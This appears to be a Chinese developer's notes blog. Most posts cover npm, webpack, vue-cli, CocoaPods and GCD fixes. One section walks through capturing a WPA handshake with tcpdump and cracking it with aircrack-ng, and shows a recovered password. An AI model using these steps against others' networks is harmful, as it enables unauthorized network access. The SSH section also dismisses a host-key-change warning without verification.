0%

npm install安装报错,报错信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
Hu-YupingdeMacBook-Pro:server kris$ npm install
npm WARN deprecated mkdirp@0.5.1: Legacy versions of mkdirp are no longer supported. Please update to mkdirp 1.x. (Note that the API surface has changed to use Promises in 1.x.)
npm WARN deprecated bcrypt@1.0.3: bcrypt < v2.0.0 is susceptible to bcrypt wrap-around bug. Upgrade to bcrypt >= v2.0.0 for improved support for newer bcrypt hashes
npm WARN deprecated request@2.88.2: request has been deprecated, see https://github.com/request/request/issues/3142

> bcrypt@1.0.3 install /Users/kris/Documents/VueDemo/chapter5/server/node_modules/bcrypt
> node-pre-gyp install --fallback-to-build

node-pre-gyp ERR! Tried to download(404): https://github.com/kelektiv/node.bcrypt.js/releases/download/v1.0.3/bcrypt_lib-v1.0.3-node-v64-darwin-x64.tar.gz
node-pre-gyp ERR! Pre-built binaries not found for bcrypt@1.0.3 and node@10.15.3 (node-v64 ABI) (falling back to source compile with node-gyp)
node-pre-gyp ERR! Tried to download(undefined): https://github.com/kelektiv/node.bcrypt.js/releases/download/v1.0.3/bcrypt_lib-v1.0.3-node-v64-darwin-x64.tar.gz
node-pre-gyp ERR! Pre-built binaries not found for bcrypt@1.0.3 and node@10.15.3 (node-v64 ABI) (falling back to source compile with node-gyp)
CXX(target) Release/obj.target/bcrypt_lib/src/blowfish.o
CXX(target) Release/obj.target/bcrypt_lib/src/blowfish.o
sed: ./Release/.deps/Release/obj.target/bcrypt_lib/src/blowfish.o.d.raw: No such file or directory
CXX(target) Release/obj.target/bcrypt_lib/src/bcrypt.o
rm: ./Release/.deps/Release/obj.target/bcrypt_lib/src/blowfish.o.d.raw: No such file or directory
make: *** [Release/obj.target/bcrypt_lib/src/blowfish.o] Error 1
gyp ERR! build error
gyp ERR! stack Error: `make` failed with exit code: 2
gyp ERR! stack at ChildProcess.onExit (/usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/build.js:262:23)
gyp ERR! stack at ChildProcess.emit (events.js:189:13)
gyp ERR! stack at Process.ChildProcess._handle.onexit (internal/child_process.js:248:12)
gyp ERR! System Darwin 18.6.0
gyp ERR! command "/usr/local/bin/node" "/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js" "build" "--fallback-to-build" "--module=/Users/kris/Documents/VueDemo/chapter5/server/node_modules/bcrypt/lib/binding/bcrypt_lib.node" "--module_name=bcrypt_lib" "--module_path=/Users/kris/Documents/VueDemo/chapter5/server/node_modules/bcrypt/lib/binding"
gyp ERR! cwd /Users/kris/Documents/VueDemo/chapter5/server/node_modules/bcrypt
gyp ERR! node -v v10.15.3
gyp ERR! node-gyp -v v3.8.0
gyp ERR! not ok
node-pre-gyp ERR! build error
node-pre-gyp ERR! stack Error: Failed to execute '/usr/local/bin/node /usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js build --fallback-to-build --module=/Users/kris/Documents/VueDemo/chapter5/server/node_modules/bcrypt/lib/binding/bcrypt_lib.node --module_name=bcrypt_lib --module_path=/Users/kris/Documents/VueDemo/chapter5/server/node_modules/bcrypt/lib/binding' (1)
node-pre-gyp ERR! stack at ChildProcess.<anonymous> (/Users/kris/Documents/VueDemo/chapter5/server/node_modules/node-pre-gyp/lib/util/compile.js:83:29)
node-pre-gyp ERR! stack at ChildProcess.emit (events.js:189:13)
node-pre-gyp ERR! stack at maybeClose (internal/child_process.js:970:16)
node-pre-gyp ERR! stack at Process.ChildProcess._handle.onexit (internal/child_process.js:259:5)
node-pre-gyp ERR! System Darwin 18.6.0
node-pre-gyp ERR! command "/usr/local/bin/node" "/Users/kris/Documents/VueDemo/chapter5/server/node_modules/.bin/node-pre-gyp" "install" "--fallback-to-build"
node-pre-gyp ERR! cwd /Users/kris/Documents/VueDemo/chapter5/server/node_modules/bcrypt
node-pre-gyp ERR! node -v v10.15.3
node-pre-gyp ERR! node-pre-gyp -v v0.6.36
node-pre-gyp ERR! not ok
Failed to execute '/usr/local/bin/node /usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js build --fallback-to-build --module=/Users/kris/Documents/VueDemo/chapter5/server/node_modules/bcrypt/lib/binding/bcrypt_lib.node --module_name=bcrypt_lib --module_path=/Users/kris/Documents/VueDemo/chapter5/server/node_modules/bcrypt/lib/binding' (1)
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
/bin/sh: ./Release/.deps/Release/obj.target/bcrypt_lib/src/bcrypt.o.d: No such file or directory
make: *** [Release/obj.target/bcrypt_lib/src/bcrypt.o] Error 1
gyp ERR! build error
gyp ERR! stack Error: `make` failed with exit code: 2
gyp ERR! stack at ChildProcess.onExit (/usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/build.js:262:23)
gyp ERR! stack at ChildProcess.emit (events.js:189:13)
gyp ERR! stack at Process.ChildProcess._handle.onexit (internal/child_process.js:248:12)
gyp ERR! System Darwin 18.6.0
gyp ERR! command "/usr/local/bin/node" "/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js" "build" "--fallback-to-build" "--module=/Users/kris/Documents/VueDemo/chapter5/server/node_modules/bcrypt/lib/binding/bcrypt_lib.node" "--module_name=bcrypt_lib" "--module_path=/Users/kris/Documents/VueDemo/chapter5/server/node_modules/bcrypt/lib/binding"
gyp ERR! cwd /Users/kris/Documents/VueDemo/chapter5/server/node_modules/bcrypt
gyp ERR! node -v v10.15.3
gyp ERR! node-gyp -v v3.8.0
gyp ERR! not ok
npm WARN support-center-server@1.0.0 No repository field.

npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR! bcrypt@1.0.3 install: `node-pre-gyp install --fallback-to-build`
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the bcrypt@1.0.3 install script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.

npm ERR! A complete log of this run can be found in:
npm ERR! /Users/kris/.npm/_logs/2020-03-22T09_25_45_510Z-debug.log

打开项目的package.json,删除bcrypt的依赖项。

删除前的package.json的依赖项如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"dependencies": {
"babel-cli": "^6.24.1",
"babel-preset-es2015": "^6.24.1",
"babel-preset-stage-0": "^6.24.1",
"bcrypt": "^1.0.2", <-----------------------删除这行
"body-parser": "^1.17.2",
"cookie-parser": "^1.4.3",
"cors": "^2.8.3",
"express": "^4.15.3",
"express-session": "^1.15.3",
"nedb": "^1.8.0",
"nodemon": "^1.11.0",
"passport": "^0.3.2",
"passport-local": "^1.0.0",
"uuid": "^3.0.1"
}

删除后的package.json的依赖项如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"dependencies": {
"babel-cli": "^6.24.1",
"babel-preset-es2015": "^6.24.1",
"babel-preset-stage-0": "^6.24.1",
"body-parser": "^1.17.2",
"cookie-parser": "^1.4.3",
"cors": "^2.8.3",
"express": "^4.15.3",
"express-session": "^1.15.3",
"nedb": "^1.8.0",
"nodemon": "^1.11.0",
"passport": "^0.3.2",
"passport-local": "^1.0.0",
"uuid": "^3.0.1"
}

然后执行命令npm i bcrypt ,执行完命令,package.json的依赖项如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"dependencies": {
"babel-cli": "^6.24.1",
"babel-preset-es2015": "^6.24.1",
"babel-preset-stage-0": "^6.24.1",
"bcrypt": "^4.0.1", <--------------------- 执行命令后,新增了一行
"body-parser": "^1.17.2",
"cookie-parser": "^1.4.3",
"cors": "^2.8.3",
"express": "^4.15.3",
"express-session": "^1.15.3",
"nedb": "^1.8.0",
"nodemon": "^1.11.0",
"passport": "^0.3.2",
"passport-local": "^1.0.0",
"uuid": "^3.0.1"
}

参考链接

node-pre-gyp ERR! Tried to download(404): https://github.com/kelektiv/node.bcrypt.js/releases/download/v1.0.3/bcrypt_lib-v1.0.3-node-v59-linux-x64.tar.gz

1.执行命令创建项目。

1
vue init webpack-simple demo4

2.回答vue-cli的问题。

1
2
3
4
5
? Project name demo4
? Project description A Vue.js project
? Author Hu, Yuping <huyp@yxt.com>
? License MIT
? Use sass? No

3.vue-cli会创建文件夹,并打印提示命令。

1
2
3
4
5
6
7
vue-cli · Generated "demo4".

To get started:

cd demo4
npm install
npm run dev

其中第一条命令的可以提供不同的模版。命令全称如下:

1
vue init <template-name> <project-name>

具体解释如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
init:表示我要用vue-cli来初始化项目

<template-name>:表示模板名称,vue-cli官方为我们提供了5种模板,

webpack-一个全面的webpack+vue-loader的模板,功能包括热加载,linting,检测和CSS扩展。

webpack-simple-一个简单webpack+vue-loader的模板,不包含其他功能,让你快速的搭建vue的开发环境。

browserify-一个全面的Browserify+vueify 的模板,功能包括热加载,linting,单元检测。

browserify-simple-一个简单Browserify+vueify的模板,不包含其他功能,让你快速的搭建vue的开发环境。

simple-一个最简单的单页应用模板。

<project-name>:标识项目名称,这个你可以根据自己的项目来起名字。

创建完项目,执行npm run dev,控制台会打印消息,可以预览当前的自动生成的页面。

1
2
3
4
5
6
7
8
9
Hu-YupingdeMacBook-Pro:demo4 kris$ npm run dev

> demo4@1.0.0 dev /Users/kris/Documents/VueDemo/chapter4/demo4
> cross-env NODE_ENV=development webpack-dev-server --open --hot

Project is running at http://localhost:8081/
webpack output is served from /dist/
404s will fallback to /index.html
{ parser: "babylon" } is deprecated; we now treat it as { parser: "babel" }.

浏览器中的预览页面如下:

使用ssh命令远程连接主机出现问题,问题描述如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Hu-YupingdeMacBook-Pro:~ kris$ ssh root@192.3.249.179
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ECDSA key sent by the remote host is
SHA256:dVUw64aj0m2JBl62oUMeoJzpZMjCqtL24CQMjTDVvsc.
Please contact your system administrator.
Add correct host key in /Users/kris/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /Users/kris/.ssh/known_hosts:13
ECDSA host key for 192.3.249.179 has changed and you have requested strict checking.
Host key verification failed.

解决办法:

1.编辑配置文件。

1
$ vim ~/.ssh/known_hosts

2.删除对应的host key。

3.再次使用ssh命令连接远程主机,发现可以正常连接。

参考链接

Mac和Linux远程连接服务器异常修复(WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!)

使用命令npm run build进行生产构建时,报错Error: webpack.optimize.UglifyJsPlugin has been removed, please use config.optimization.minimize instead.,详细的错误信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
^CHu-YupingdeMacBook-Pro:demo2 kris$ npm run build

> demo2@1.0.0 build /Users/kris/Documents/VueDemo/chapter4/demo2
> cross-env NODE_ENV=production webpack --progress --hide-modules

/Users/kris/Documents/VueDemo/chapter4/demo2/node_modules/webpack-cli/bin/cli.js:93
throw err;
^

Error: webpack.optimize.UglifyJsPlugin has been removed, please use config.optimization.minimize instead.
at Object.get [as UglifyJsPlugin] (/Users/kris/Documents/VueDemo/chapter4/demo2/node_modules/webpack/lib/webpack.js:189:10)
at Object.<anonymous> (/Users/kris/Documents/VueDemo/chapter4/demo2/webpack.config.js:68:26)
at Module._compile (/Users/kris/Documents/VueDemo/chapter4/demo2/node_modules/v8-compile-cache/v8-compile-cache.js:192:30)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:712:10)
at Module.load (internal/modules/cjs/loader.js:600:32)
at tryModuleLoad (internal/modules/cjs/loader.js:539:12)
at Function.Module._load (internal/modules/cjs/loader.js:531:3)
at Module.require (internal/modules/cjs/loader.js:637:17)
at require (/Users/kris/Documents/VueDemo/chapter4/demo2/node_modules/v8-compile-cache/v8-compile-cache.js:161:20)
at WEBPACK_OPTIONS (/Users/kris/Documents/VueDemo/chapter4/demo2/node_modules/webpack-cli/bin/utils/convert-argv.js:114:13)
at requireConfig (/Users/kris/Documents/VueDemo/chapter4/demo2/node_modules/webpack-cli/bin/utils/convert-argv.js:116:6)
at /Users/kris/Documents/VueDemo/chapter4/demo2/node_modules/webpack-cli/bin/utils/convert-argv.js:123:17
at Array.forEach (<anonymous>)
at module.exports (/Users/kris/Documents/VueDemo/chapter4/demo2/node_modules/webpack-cli/bin/utils/convert-argv.js:121:15)
at yargs.parse (/Users/kris/Documents/VueDemo/chapter4/demo2/node_modules/webpack-cli/bin/cli.js:71:45)
at Object.parse (/Users/kris/Documents/VueDemo/chapter4/demo2/node_modules/yargs/yargs.js:567:18)
at /Users/kris/Documents/VueDemo/chapter4/demo2/node_modules/webpack-cli/bin/cli.js:49:8
at Object.<anonymous> (/Users/kris/Documents/VueDemo/chapter4/demo2/node_modules/webpack-cli/bin/cli.js:366:3)
at Module._compile (internal/modules/cjs/loader.js:701:30)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:712:10)
at Module.load (internal/modules/cjs/loader.js:600:32)
at tryModuleLoad (internal/modules/cjs/loader.js:539:12)
at Function.Module._load (internal/modules/cjs/loader.js:531:3)
at Module.require (internal/modules/cjs/loader.js:637:17)
at require (internal/modules/cjs/helpers.js:22:18)
at Object.<anonymous> (/Users/kris/Documents/VueDemo/chapter4/demo2/node_modules/webpack/bin/webpack.js:156:2)
at Module._compile (internal/modules/cjs/loader.js:701:30)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:712:10)
at Module.load (internal/modules/cjs/loader.js:600:32)
at tryModuleLoad (internal/modules/cjs/loader.js:539:12)
npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR! demo2@1.0.0 build: `cross-env NODE_ENV=production webpack --progress --hide-modules`
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the demo2@1.0.0 build script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.

npm ERR! A complete log of this run can be found in:
npm ERR! /Users/kris/.npm/_logs/2020-03-19T04_56_08_555Z-debug.log

查资料发现webpack4已经不支持在plugins里面操作UglifyJsPlugin,需要将UglifyJsPlugin放到optimization里面进行配置。打开webpack.config.js文件,发现老的配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
var path = require('path')
var webpack = require('webpack')

module.exports = {
entry: './src/main.js',
output: {
path: path.resolve(__dirname, './dist'),
publicPath: '/dist/',
filename: 'build.js'
},
module: {
rules: [
{
test: /\.css$/,
use: [
'vue-style-loader',
'css-loader'
],
}, {
test: /\.vue$/,
loader: 'vue-loader',
options: {
loaders: {
}
// other vue-loader options go here
}
},
{
test: /\.js$/,
loader: 'babel-loader',
exclude: /node_modules/
},
{
test: /\.(png|jpg|gif|svg)$/,
loader: 'file-loader',
options: {
name: '[name].[ext]?[hash]'
}
}
]
},
resolve: {
alias: {
'vue$': 'vue/dist/vue.esm.js'
},
extensions: ['*', '.js', '.vue', '.json']
},
devServer: {
historyApiFallback: true,
noInfo: true,
overlay: true
},
performance: {
hints: false
},
devtool: '#eval-source-map'
}

if (process.env.NODE_ENV === 'production') {
module.exports.devtool = '#source-map'
// http://vue-loader.vuejs.org/en/workflow/production.html
module.exports.plugins = (module.exports.plugins || []).concat([
new webpack.DefinePlugin({
'process.env': {
NODE_ENV: '"production"'
}
}),
new webpack.optimize.UglifyJsPlugin({
sourceMap: true,
compress: {
warnings: false
}
}),
new webpack.LoaderOptionsPlugin({
minimize: true
})
])
}

修改完的webpack.config.js文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
var path = require('path')
var webpack = require('webpack')
let UglifyJsPlugin = require('uglifyjs-webpack-plugin')

module.exports = {
entry: './src/main.js',
output: {
path: path.resolve(__dirname, './dist'),
publicPath: '/dist/',
filename: 'build.js'
},
module: {
rules: [
{
test: /\.css$/,
use: [
'vue-style-loader',
'css-loader'
],
}, {
test: /\.vue$/,
loader: 'vue-loader',
options: {
loaders: {
}
// other vue-loader options go here
}
},
{
test: /\.js$/,
loader: 'babel-loader',
exclude: /node_modules/
},
{
test: /\.(png|jpg|gif|svg)$/,
loader: 'file-loader',
options: {
name: '[name].[ext]?[hash]'
}
}
]
},
resolve: {
alias: {
'vue$': 'vue/dist/vue.esm.js'
},
extensions: ['*', '.js', '.vue', '.json']
},
devServer: {
historyApiFallback: true,
noInfo: true,
overlay: true
},
performance: {
hints: false
},
optimization: {
minimizer: [
new UglifyJsPlugin({
uglifyOptions: {
compress: false,
}
})
]
},
devtool: '#eval-source-map'
}

if (process.env.NODE_ENV === 'production') {
module.exports.devtool = '#source-map'
// http://vue-loader.vuejs.org/en/workflow/production.html
module.exports.plugins = (module.exports.plugins || []).concat([
new webpack.DefinePlugin({
'process.env': {
NODE_ENV: '"production"'
}
}),
new webpack.LoaderOptionsPlugin({
minimize: true
})
])
}

改动之处有2处,第一处,把UglifyJsPlugin放到上面的exports的optimization中;第二处,在文件开头之处导入UglifyJsPlugin

改完之后执行npm run dev,效果如下:

1
2
3
4
Hu-YupingdeMacBook-Pro:demo2 kris$ npm run dev

> demo2@1.0.0 dev /Users/kris/Documents/VueDemo/chapter4/demo2
> cross-env NODE_ENV=development webpack-dev-server --open --hot

改完之后执行npm run build,效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
^CHu-YupingdeMacBook-Pro:demo2 kris$ npm run build

> demo2@1.0.0 build /Users/kris/Documents/VueDemo/chapter4/demo2
> cross-env NODE_ENV=production webpack --progress --hide-modules

Hash: e1e94d754213e6db3b2c
Version: webpack 4.42.0
Time: 1996ms
Built at: 2020-03-19 13:51:57
Asset Size Chunks Chunk Names
build.js 213 KiB 0 [emitted] main
Entrypoint main = build.js

WARNING in configuration
The 'mode' option has not been set, webpack will fallback to 'production' for this value. Set 'mode' option to 'development' or 'production' to enable defaults for each environment.
You can also set it to 'none' to disable any default behavior. Learn more: https://webpack.js.org/configuration/mode/

参考链接

webpack踩坑之路

今天执行npm run dev时出现报错,提示Error: Cannot find module 'webpack/bin/config-yargs',查资料发现问题出在,webpackwebpack-cliwebpack-dev-server的版本不匹配。

打开项目根目录下的package.json 文件,发现我的项目里面的配置信息为:

1
2
3
"webpack": "^4.42.0",
"webpack-cli": "^3.3.11",
"webpack-dev-server": "^2.11.5"

然后我修改了package.json文件,修改webpack-dev-sever的版本为3.1.4,然后在项目根目录执行npm install命令。此命令执行完毕后再执行npm run dev发现可以正常运行。

最终package.json文件的配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"devDependencies": {
"babel-core": "^6.26.0",
"babel-loader": "^7.1.2",
"babel-polyfill": "^6.26.0",
"babel-preset-env": "^1.6.0",
"babel-preset-stage-3": "^6.24.1",
"babel-preset-vue": "^2.0.2",
"cross-env": "^5.0.5",
"css-loader": "^3.4.2",
"file-loader": "^1.1.4",
"vue-loader": "^13.0.5",
"vue-template-compiler": "^2.4.4",
"webpack": "^4.42.0",
"webpack-cli": "^3.3.11",
"webpack-dev-server": "^3.1.4"
}

参考链接

已解决 - 问题Cannot find module ‘webpack/bin/config-yargs’

1.安装airport

1
$ sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport

2.扫描周围的Wifi

1
$ sudo airport -s

3.嗅探指定的信道

1
$ sudo airport en0 sniff $CHANNEL

如果出现错误,Segmentation fault: 11,可以使用 tcpdump 抓包
4.1 断开airport的连接

1
$ sudo airport -z

4.2 设置信道,-c和信道号之间没有空格

1
2
# 示例:sudo airport -c6
$ sudo airport -c$CHANNEL

4.3 从指定AP开始抓包

1
2
# 示例:sudo tcpdump "type mgt subtype beacon and ether src 98:13:33:b4:35:a4" -I -c 1 -i en0 -w beacon.cap
$ sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en0 -w beacon.cap

4.4 等待WPA的握手

1
2
# 示例:sudo tcpdump "ether proto 0x888e and ether host 98:13:33:b4:35:a4" -I -U -vvv -i en0 -w handshake.cap
$ sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i en0 -w handshake.cap

4.5 安装wireshark,下一步会用到它的合包命令

1
$ brew install wireshark

4.6 将2个cap文件合并成一个cap文件

1
$ mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap

至少要等到4.4获取到4 frames或更多的包才可以Ctrl-C终止抓包。

4.7 安装 aircrack-ng

1
$ brew install aircrack-ng

4.8 将 aircrack-ng 路径添加到 /etc/paths 中。

1
$ sudo vim /etc/paths

然后将 aircrack-ng 路径添加到最后一行。

4.9 查看抓到的包中是否包含握手包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#$ aircrack-ng capture.cap
Hu-YupingdeMacBook-Pro:wifi kris$ aircrack-ng capture.cap
Opening capture.capease wait...
Read 4 packets.

# BSSID ESSID Encryption

1 74:7D:24:D7:AF:DC @PHICOMM_DA WPA (0 handshake)

Choosing first network as target.

Opening capture.capease wait...
Read 4 packets.

1 potential targets

Please specify a dictionary (option -w).
  1. 撞击密码

    1
    $ aircrack-ng -w alphaDic.txt -b 98:13:33:B4:35:A4 capture1.cap
  2. 转换包格式,如果使用上面的cap无法爆破,或者爆破比较麻烦,可以将cap包转换成hcccapx格式,然后再破解。

    1
    $ ./cap2hccapx.bin /Users/kris/Desktop/wifi/20200208/capture.cap /Users/kris/Desktop/wifi/20200208/capture.hccapx

下面是一个破解示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Aircrack-ng 1.5.2 

[00:03:20] 2018576/13516904 keys tested (10197.95 k/s)

Time left: 18 minutes, 47 seconds 14.93%

KEY FOUND! [ 19731009qiu ]


Master Key : A8 36 07 C4 68 42 71 E0 B9 38 6E 16 B7 1B 7A 77
DA 07 E9 A1 82 CE 95 56 22 C2 76 16 93 B1 8E 9B

Transient Key : 34 83 20 8E B0 2E F2 11 FF 5B 68 A4 A3 16 94 FE
74 28 4D D9 99 BA 10 38 F4 20 6D 14 D1 47 89 C9
22 75 EB B5 29 FD CF 9B 01 32 38 B7 51 10 94 88
90 4D 52 D5 88 E4 B1 58 DA 2D DC 35 5F 61 88 92

EAPOL HMAC : F6 4D 5F 02 77 F9 96 8A F4 E3 C7 8C DA E4 C6 E0

执行npm install -g @vue/cli安装报错,错误信息如下:

1
2
3
4
5
6
7
8
Hu-YupingdeMacBook-Pro:~ kris$ npm install -g @vue/cli
npm WARN deprecated request@2.88.2: request has been deprecated, see https://github.com/request/request/issues/3142
npm ERR! code Z_BUF_ERROR
npm ERR! errno -5
npm ERR! zlib: unexpected end of file

npm ERR! A complete log of this run can be found in:
npm ERR! /Users/kris/.npm/_logs/2020-03-14T22_56_23_922Z-debug.log

解决办法,切换网络,清除npm缓存,执行命令:npm cache clean --force

参考链接

npm install 的时候 出现 unexpected end of file的问题

1.新建远程Git仓库,将空的仓库克隆至本地。

在gitlab上新建一个空的仓库。

2.创建SDK项目,创建项目时选Framework。

创建项目时选Framework。

将项目的目录新建到Git的文件夹中。

3.创建SDK项目的Example工程。Exmaple工程的根目录需要在SDK的根目录中。

创建Example工程。

填写Example工程名。

选择工程的目录。将工程根目录创建到SDK工程根目录下。

最终的项目目录结构如图。

4.在SDK工程目录中创建Podfile文件。

执行pod init命令,在工程目录中创建Podfile文件。

5.编辑podfile文件,指定workspace,添加example和sdk工程的target,target中需要指定.xcodeproj文件的路径;workspace可以提前建好然后指定,如果指定的workspace文件不错在,cocoapods会自动创建,所以只需要在podfile文件中写入想要的workspace的名字;编辑完成后保存。

编辑Podfile文件,将example和sdk工程的target添加到Podfile中。注意example工程的target路径。

6.执行命令Pod install,cocoapods自动创建workspace文件,workspace文件打开前要把workspace关联的工程关闭。

执行Pod install命令,让Pod自动生成workspace文件。

选择workspance文件,打开工程。

打开工程后,目录结构如下图。

7.将文件放入工程,建议先将文件复制到framework工程的文件夹中,可以方便文件夹结构调整并重命名,最后将文件添加到工程,保证target选择正确。

将SDK工程目录下的源代码目录Sources和资源文件目录Resources添加到SDK工程中。

8.编辑podfile文件,添加依赖项,放在target外部意思是两个target都需要引入这些库,但是不管放在内部还是外部,Pod文件夹中引入的第三方库是他们的总和。

编辑Podfile文件,将依赖项放到target外部。

9.工程根目录中创建podspec文件,创建license文件,编辑podspec基本项目(descritpion, license, source, homepage, source_files., resources)。

1
$ pod spec create "组件名"

命令行创建podspec文件。

将podspec文件添加到工程中。

编辑podspec文件。

10.执行pod install。

11.将framework工程的Products文件夹中的framework文件放入Framewors Link配置中。

将项目中生成的Framework库文件添加到Exmaple工程中。

12.使用example或者framework工程的scheme来调试,解决由于文件冲突或者头文件引用方式导致的编译不通过的问题。

选择PHUpdateSDK的Target,编译测试SDK是否可以正常编译通过。选择PHUpdateSDKExample的Target运行测试代码,查看SDK功能是否正常工作。

13.将SDK中的头文件都添加到对应的SDK头文件中。

将SDK中需要暴露出来的.h文件都添加到PHUpdateSDK.h中。

14.将SDK中的头文件移动到外面

将SDK中的头文件从项目中移动到Public Group中。

15.在Example工程中引入SDK中的类

在Example工程中导入SDK中的类,测试SDK中的类是否可以正常工作。

16.在Example中测试SDK代码功能

在Example工程中测试SDK代码是否正常工作

17.创建一个空工程或者利用已有工程作为pod管理,以本地路径的方式pod引入sdk,执行pod install,打开该工程,可以更好的编辑podspec文件,并且在编辑好后可以立即使用pod install命令查看修改结果;全部完成后,可以将pod方式改为使用git地址的方式,查看真实使用效果。

新建本地测试工程,在本地测试工程的Podfile文件中导入SDK工程。

查看本地工程Podfile如何配置。

18.经过最后的修改,最终目录如下。

由于之前的SDK目录比较深,导致pod update的时候无法更新。所以将之前的SDK中的文件全部拷贝到git仓库的根目录下。还有LICENSE文件最好放一个,因为有可能因为这个导致最终的项目更新失败。最终目录结构如下图。

什么是GCD

Grand Central Dispatch(GCD)是异步执行任务的技术之一。一般将应用程序中记述的线程管理用的代码在系统级中实现。开发者只需要定义想要执行的任务并追加到适当的 Dispatch Queue 中,GCD 就能生成必要的线程并计划执行任务。由于线程管理是作为系统的一部分来实现的,因此可统一管理,也可执行任务,这样就比以前的线程更有效率。

在导入GCD之前,Cocoa 框架提供了 NSObject 类的 performSelectorInBackground:withObject 实例方法和 performSelectorOnMainThread 实例方法等简单的多线程编程技术。

dispatch_after 用法

在3秒后将指定的 Block 追加到 Main Dispatch Queue 中的源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
NSLog(@"begin...");

/**
因为 Main Dispatch Queue 在主线程的 RunLoop 中执行,所以在比如每隔1/60秒执行的 RunLoop 中,Block 最快在3秒后执行,最慢在3秒+1/60秒后执行,
并且在 Main Dispatch Queue 有大量处理追加或主线程的处理本身有延迟时,这个时间会更长。虽然在有严格时间的要求下使用会出现问题,但在想大致延迟执行处
理时,该函数是非常有效的。
*/
dispatch_time_t time = dispatch_time(DISPATCH_TIME_NOW, 3ull * NSEC_PER_SEC);
dispatch_after(time, dispatch_get_main_queue(), ^{
NSLog(@"waited at least three seconds.");
});

NSLog(@"end...");

第一个参数是指定时间用的 dispatch_time_t 类型的值。该值使用 dispatch_time 函数或 dispatch_walltime 函数生成。

dispatch_time 函数能够获取从第一个参数 dispatch_time_t 类型值中指定的时间开始,到第二个参数指定的毫微秒单位时间后的时间。第一个参数经常使用的值是之前源代码中出现的DISPATCH_TIME_NOW。这表示现在的时间。即以下源代码可得到表示从现在开始1秒后的 dispatch_time_t 类型的值。

1
dispatch_time_t time = dispatch_time(DISPATCH_TIME_NOW, 1ull * NSEC_PER_SEC);

数值和 NSEC_PER_SEC 的乘积得到单位为毫微秒的数值。“ull”是C语言的数值字面量,是显示表明类型时使用的字符串(表示“unsigned long long”)。如果使用 NSEC_PER_MSEC 则可以以毫秒为单位计算。以下源代码获取表示从现在开始150毫秒后时间的值。TI

1
dispatch_time_t time = dispatch_time(DISPATCH_TIME_NOW, 150ull * NSEC_PER_MSEC);

dispatch_walltime 函数由 POSIX 中使用的 struct timespec 类型的时间得到 dispatch_time_t 类型的值。dispatch_time 函数通常用于计算时间,而 dispatch_walltime 函数用于计算绝对时间。例如在 dispatch_after 函数中想指定 2020年01月01日01时01分01秒这一绝对时间的情况,这可以作为粗略的闹钟功能使用。

struct timespec 类型的时间可以很轻松的通过 NSDate 类对象生成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
dispatch_time_t getDispatchTimeByDate(NSDate *date) {
NSTimeInterval interval;
double second, subsecond;
struct timespec time;
dispatch_time_t milestone;

interval = [date timeIntervalSince1970];
subsecond = modf(interval, &second);
time.tv_sec = second;
time.tv_nsec = subsecond * NSEC_PER_SEC;
milestone = dispatch_walltime(&time, 0);

return milestone;
}

